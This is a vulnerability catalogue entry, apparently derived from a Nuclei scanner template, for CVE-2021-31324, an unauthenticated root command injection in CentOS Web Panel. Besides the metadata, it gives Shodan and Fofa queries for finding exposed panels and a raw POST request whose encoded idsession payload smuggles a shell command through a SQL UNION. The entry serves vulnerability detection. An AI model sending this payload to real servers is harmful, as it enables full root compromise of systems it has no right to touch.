| Title | CentOS Web Panel - OS Command Injection |
|---|---|
| Author | ritikchaddha |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute arbitrary OS commands with root privileges via command injection in the idsession parameter, leading to complete server compromise. |
| Remediation | Apply security updates provided by CentOS Web Panel. |
| CVSS Score | 9.8 |
| EPSS Score | 0.82331 |
| CVE ID | CVE-2021-31324 |
| CWE ID | CWE-78 |
| Shodan Query | title:"Login | Control WebPanel" |
| Fofa Query | title="Login | Control WebPanel" |
| Tags | cve cve2021 centos cwpsrv os rce vuln |
The unprivileged user portal part of CentOS Web Panel is affected by a Command Injection vulnerability leading to root Remote Code Execution.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:70.0) Gecko/20100101 Firefox/70.0
Connection: close
Accept-Encoding: gzip
POST /login/index.php?acc=newpass HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Connection: close
Content-Length: 210
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
pass1=c3VwZXJwYXNzd29yZA%3D%3D&idsession=a%27+UNION+SELECT%27a%27%2C%27b%27%2C%27c%27%2C%27YWJjIiBVTklPTiBTRUxFQ1QgJ2EnLCdiJywnYycsJ2QnLCcrMSBkYXknLCdmJy0tIHAiO2lkOyNgfHxhfHxifHxjfHxk%27%2C%27e%27%2C%27f%27--+p
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-31324.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-31324.pcap
N/AN/A